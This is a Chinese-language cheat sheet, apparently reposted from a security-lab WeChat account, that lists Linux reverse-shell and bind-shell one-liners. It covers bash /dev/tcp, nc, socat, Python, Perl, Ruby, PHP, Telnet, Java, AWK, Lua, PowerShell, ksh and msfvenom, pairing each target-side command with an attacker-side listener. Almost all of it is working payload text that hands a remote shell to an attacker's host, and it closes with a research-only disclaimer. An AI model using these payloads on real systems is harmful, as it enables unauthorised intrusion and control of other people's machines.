nc -lp [监听端口] -e /bin/bash
攻击机:
nc [目标IP] [目标监听的端口]
Socat
目标机:
socat TCP-LISTEN:[监听端口号] EXEC:/bin/bash
攻击机:
socat TCP:[目标机器IP]:[监听端口号] -
Socat ipv6
目标机:
socat TCP6-LISTEN:[监听端口号] EXEC:/bin/bash
攻击机:
socat TCP6:[目标机器IP%网卡名称]:[监听端口号] -
Bash
目标机:
bash -i >& /dev/tcp/[攻击机器IP]/[监听端口号] 0>&1
攻击机:
nc -lp
Python
目标机:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机器IP",监听端口号));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
攻击机:
nc -lp
Perl
目标机:
perl -e 'use Socket;$i="攻击机器IP";$p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
攻击机:
nc -lp
Ruby
目标机:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击机器IP",监听端口号);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
攻击机:
nc -lp
PHP
目标机:
php -r '$sock=fsockopen("攻击机器IP",监听端口号);exec("/bin/sh -i <&3 >&3 2>&3");'
攻击机:
nc -lp
Telnet
目标机:
mknod a p; telnet [攻击机IP] [监听端口号] 0<a | /bin/bash 1>a
攻击机:
nc -lp
Telnet第二种
攻击机:
nc -lp 1234
nc -lp 4321
目标机:
telnet [攻击机IP] [攻击机端口1] | /bin/bash | telnet [攻击机IP] [攻击机端口2]
在端口1执行命令,结果会在端口2中回显。
Java
编译运行:
javac ReverseShell.java
java ReverseShell
Java代码:
import java.io.IOException;
public class ReverseShell {
public static void main(String[] args) {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash", "-c", "exec 5<>/dev/tcp/192.168.75.105/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});
p.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
攻击机:
nc -lp
AWK
目标机:
awk 'BEGIN {s = "/inet/tcp/0/攻击机器IP/监听端口号"; while(42) { do{printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c);}} while(c != "exit") close(s)}}' /dev/null
攻击机:
nc -lp
Gawk
目标机:
gawk 'BEGIN{s="/inet/tcp/0/192.168.75.128/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
攻击机:
nc -lp
Lua
目标机:
lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('192.168.75.128',1234);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"
攻击机:
nc -lp
PowerShell
目标机:
pwsh -Command "Start-Process /usr/bin/ncat -NoNewWindow -Argumentlist '192.168.75.128 1234 -e /usr/bin/sh'"
攻击机:
nc -lp
ksh
目标机:
ksh -c 'ksh >/dev/tcp/192.168.75.128/1234 2>&1 <&1'
攻击机:
nc -lp
Msf
Msf提供了相关Payload以及相应的SSL Payload。
1,使用msfvenom查找Linux可反弹Shell的模块。
msfvenom -l payloads | grep 'cmd/unix/reverse'
2,使用对应模块生成Payload,直接运行使用。
msfvenom -p cmd/unix/reverse_jjs lhost=192.168.75.128 lport=1234 -f raw
JJS
使用Msf刚刚生成的jjs Payload进行测试。
尾
愿大家健康开心,平安喜乐。
原文始发于微信公众号(aFa攻防实验室):Linux反弹Shell的一些方法
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论